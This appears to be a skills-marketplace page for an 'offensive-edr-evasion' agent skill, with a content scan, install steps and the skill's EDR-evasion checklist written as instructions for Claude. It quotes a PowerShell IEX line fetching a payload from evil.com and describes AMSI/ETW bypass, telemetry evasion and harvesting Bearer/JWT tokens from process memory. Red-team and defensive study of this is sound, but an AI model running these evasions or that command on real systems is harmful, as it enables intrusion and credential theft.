Mmcp.market

offensive-edr-evasion skill

by SnailSploit·SnailSploit/Claude-Red·7.0k stars·MIT

No description in the SKILL.md.

C64/100content scan

Is the offensive-edr-evasion skill safe?

Read the findings before you install it. We read 1 file in the folder on 2026-09-28.

  • highSKILL.md:1004

    Downloads a script and runs it in one step, so what runs is whatever that server sends that day. Common for installers, and still worth a look at the address.

    pipeline.Commands.AddScript("IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')");
  • lowSKILL.md:1

    The name should be 1 to 64 lowercase letters, digits or hyphens.

    (missing)
  • lowSKILL.md:1

    No description, so an agent cannot tell when to use the skill.

    (missing)

Install the offensive-edr-evasion skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description. 

git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-Red/Skills/infrastructure/offensive-edr-evasion ~/.claude/skills/offensive-edr-evasion
available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

SKILL: Endpoint Detection and Response

Metadata

  • Skill Name: edr-evasion
  • Folder: offensive-edr-evasion
  • Source: https://github.com/SnailSploit/offensive-checklist/blob/main/edr.md

Description

EDR evasion offensive checklist: hook unhooking (user/kernel), direct syscalls, PPID spoofing, process injection variants, AMSI bypass, ETW patching, memory encryption, and behavior-based evasion. Use when planning EDR bypass during red team engagements or researching AV/EDR evasion techniques.

Trigger Phrases

Use this skill when the conversation involves any of: EDR evasion, EDR bypass, hook unhooking, direct syscalls, PPID spoofing, process injection, AMSI bypass, ETW patch, memory encryption, AV evasion, behavioral evasion, red team evasion

Instructions for Claude

When this skill is active:

  1. Load and apply the full methodology below as your operational checklist
  2. Follow steps in order unless the user specifies otherwise
  3. For each technique, consider applicability to the current target/context
  4. Track which checklist items have been completed
  5. Suggest next steps based on findings

Full Methodology

Endpoint Detection and Response

Fundamentals

AV vs EDR

Antivirus (preventive approach):

  • Static Analysis: Matching known signatures in files
  • Dynamic Analysis: Limited behavioral monitoring/sandboxing
  • Effective against known threats, weaker against advanced attacks

EDR (proactive & investigative approach):

  • Continuous endpoint monitoring
  • Behavioral analysis at kernel level
  • Anomaly detection and post-compromise visibility
  • Prioritizes incident response and investigation

Windows Execution Flow

Windows program execution follows a hierarchical flow:

  1. Applications - User programs like firefox.exe
  2. DLLs - Libraries providing Windows functionality without direct low-level access
  3. Kernel32.dll - Core DLL for memory management, process/thread creation
  4. Ntdll.dll - Lowest user-mode DLL that exposes the NT API interface to the kernel
  5. Kernel - Core OS component with unrestricted hardware access

Example operation flow (creating a file):

  1. Application invokes CreateFile function
  2. CreateFile forwards to NtCreateFile
  3. Ntdll.dll triggers NtCreateFile syscall
  4. Kernel creates the file and returns a handle

EDR Visibility

EDR Architecture & Components

EDR solutions consist of multiple components creating a complex attack surface:

Client-Side Components:

  • User-space Applications - Main agent processes and UI components
  • Kernel-space Drivers - Filter drivers, network drivers, software drivers
  • Communication Interfaces - IOCTLs, FilterConnectionPorts, ALPC, Named Pipes

Component Communication Methods:

  • Kernel-to-Kernel: Exported functions, IOCTLs
  • User-to-Kernel: IOCTLs, FilterConnectionPorts (minifilter-specific), ALPC
  • User-to-User: ALPC, Named Pipes, Files, Registry

Server-Side Components:

  • Cloud services and management consoles
  • On-premise servers (some vendors)
  • Custom protocols for agent-to-cloud communication

EDR Visibility Methods

EDR solutions require extended visibility into system activities:

  • Filesystem monitoring via mini-filter drivers
  • Process/module loading via image load kernel callbacks
  • Process/.NET modules/Registry/kernel object events via ETW Ti
  • Network monitoring via NDIS and network filtering drivers

Static Analysis

  • Extract information from binary
  • Known malicious strings
  • Threat actor IP or domains
  • Malware binary hashes

Dynamic Analysis

  • Execute binary in a sandbox environment and observe it
  • Network connections
  • Registry changes
  • Memory access
  • File creation/deletion
  • AntiMalware Scan Interface

Behavioral Analysis

  • Observe the binary as its executing, Hook into functions/syscalls
  • User actions
  • System calls
  • Kernel callbacks
  • Commands executed in the command line
  • Which process is executing the code
  • Event Tracing for Windows

Detection Methods

AV Signature Scanning

  • Scans files using known signatures (YARA rules)
  • Typically targets loaders and droppers
  • Primarily static analysis of files on disk

AV Emulation

  • Runs suspicious programs in a simulated environment
  • Triggers on behaviors without executing real code
  • Used to detect obfuscated malware

Usermode Hooks

  • EDR hooks critical API calls in userspace (ntdll.dll)
  • Monitors process creation, memory allocations, and network operations
  • Allows for inspection before execution continues

Kernel Telemetry

  • Monitors events directly from the kernel
  • Captures file, registry, process, and network operations
  • Difficult to bypass as it operates at a lower level

Memory Scanning

  • Scans process memory for known signatures
  • Triggers based on suspicious behavior
  • Looks for shellcode, encryption, malicious strings
  • Modern Context:
  • Attackers also scan process memory for sensitive artifacts like authentication tokens. Co‑pilot/IDE integrations, chat assistants, and browser extensions frequently cache Bearer/JWT tokens in memory.
  • Practical triage: search for "Authorization: Bearer", "eyJ" (base64 JWT prefix), or provider‑specific headers; dump minimal pages to avoid tripping anti‑exfil rules.

OpSec Quickstart (lab)

  • Pre‑run
  • Network: block or sinkhole vendor EDR/XDR endpoints; disable cloud sample submission; tag lab hosts.
  • Mitigations snapshot: Get-ProcessMitigation -System; Get-CimInstance Win32_DeviceGuard (VBS/HVCI/KDP); Get-MpPreference (ASR/Cloud).
  • Events baseline: enable and tail Microsoft-Windows-CodeIntegrity/Operational, Security (4688/4689), Microsoft-Windows-Sense/Operational, Sysmon (if present).
  • Injection hygiene
  • Favor MEMIMAGE mappings (ghosting/herpaderping/overwriting) over MEMPRIVATE RWX to avoid 24H2 hotpatch loader checks.
  • Satisfy XFG/CET: jump via import thunks; ensure IBT ENDBR64 at indirect targets; maintain plausible stacks for syscalls (replicate ntdll frames).
  • Avoid noisy APIs: split alloc/write/exec over time; prefer APC+NtContinue pivots; keep thread contexts consistent.
  • Telemetry minimization
  • Jitter long‑lived channels; prefer named‑pipe/HTTP3 over noisy HTTP1; throttle upload intervals.
  • Use COM/runspace over PowerShell console to reduce script‑block logs; avoid AMSI‑flagged prologues.
  • Cleanup

Memory Regions

  • Monitors suspicious memory allocation patterns
  • Flags RWX (read-write-execute) regions
  • Tracks regions that change from RW to RX

Callstack Analysis

  • Examines the call stack of suspicious functions
  • Verifies legitimate origin of critical operations
  • Detects unusual function call chains

Hook Implementation

EDRs can't directly hook kernel memory due to PatchGuard, so they:

More skills from SnailSploit/Claude-Red

  • Aoffensive-active-directoryActive Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.
  • Aoffensive-advanced-redteamComprehensive red team operations methodology covering full engagement lifecycle from planning through reporting. Addresses engagement scoping and rules of engagement negotiation, multi-tier C2 infrastructure design with redirectors and domain fronting, malleable traffic profiles and beacon tradecraft, OPSEC discipline including attribution avoidance and indicator management, EDR and AMSI evasion techniques using direct syscalls and unhooking, data collection with chain-of-custody controls, and structured reporting with purple team debrief workflows. Covers assumed-breach, external-to-internal, insider threat, and hybrid physical-cyber engagement scenarios with MITRE ATT&CK mapping throughout. Targets operators planning or executing adversary simulation engagements against mature defenders.
  • Coffensive-ai-security
  • Aoffensive-anti-forensicsAnti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records, network forensics evasion through encrypted C2 channels and DNS-over-HTTPS tunneling, and anti-VM/sandbox detection to avoid dynamic analysis environments. Tools: Timestomp, wevtutil, sdelete, shred, MimiPenguin, Invoke-Phant0m. Aligns to MITRE ATT&CK T1070 (Indicator Removal), T1027 (Obfuscated Files or Information), T1497 (Virtualization/Sandbox Evasion). Each technique includes the forensic artifact it targets, the destruction or manipulation method, and the defender perspective so operators understand detection gaps they must account for.
  • Aoffensive-api-abuseAdvanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request techniques. Provides comprehensive JWT manipulation including algorithm confusion, kid injection, jku/x5u abuse, and claim tampering. Details API key leakage detection across source repositories, client-side code, and error messages. Covers undocumented endpoint discovery through predictable naming, debug routes, and source map analysis. Tooling includes Arjun, ParamSpider, jwt_tool, and GraphQL Voyager. Designed for authorized penetration testers targeting business logic layers that automated scanners miss.
  • Aoffensive-api-securityComprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures.
  • Aoffensive-bluetooth-bleBluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.
  • Aoffensive-bluetooth-classicBluetooth Classic (BR/EDR) attack methodology — device discovery, service enumeration via SDP, LMP/L2CAP layer attacks, legacy PIN cracking (BlueBorne / KNOB), Bluetooth file-transfer abuse (BlueSnarfing legacy), unauthenticated profile abuse (HSP, HFP, OPP), and modern relevance against older industrial / automotive / accessory targets. Use when in-scope devices use Bluetooth Classic (Bluetooth ≤ 4.0 BR/EDR) — common in legacy car kits, industrial sensors, older medical devices, and audio accessories.
  • Aoffensive-bug-identification
  • Aoffensive-business-logicBusiness logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-commerce/SaaS app where logic flaws produce direct financial impact.
  • Aoffensive-c2-frameworksCommand and Control framework deployment, configuration, and operational tradecraft for red team engagements. Covers Cobalt Strike (malleable C2 profiles, Beacon types HTTP/HTTPS/DNS/SMB, Beacon Object Files for in-memory execution, sleep and jitter tuning, named pipe pivoting), Sliver (implant generation across mTLS/WireGuard/DNS transport, operator multiplayer mode, armory extensions), Mythic (agent ecosystem with Apollo/Poseidon/Medusa, C2 profile configuration, translation containers), Havoc (Demon agent with sleep obfuscation via Ekko/Zilean, indirect syscalls, dotnet inline execution), Metasploit (msfvenom payload generation, multi/handler staging, Meterpreter post-exploitation modules), redirector architecture using Apache mod_rewrite and Nginx, domain fronting through CDN providers, DNS-based C2 for restrictive network egress, and TLS certificate management for infrastructure OPSEC. Tools: Cobalt Strike, Sliver, Mythic, Havoc, Metasploit Framework. Aligns to MITRE ATT&CK T1071 (Application Layer Protocol), T1573 (Encrypted Channel), T1090 (Proxy/Connection Proxy).
  • Doffensive-cicd-pipelineComprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline agent compromise with service connection theft. Includes artifact poisoning techniques across all platforms, tooling guidance for gato and jenkins-attack-framework, and maps to MITRE ATT&CK T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain). Covers enumeration of pipeline configurations, privilege escalation from contributor to code execution, lateral movement through pipeline trust boundaries, and persistence via modified workflow definitions. Each technique section provides working exploitation code, detection indicators, and defensive countermeasures.

All agent skills → · MCP servers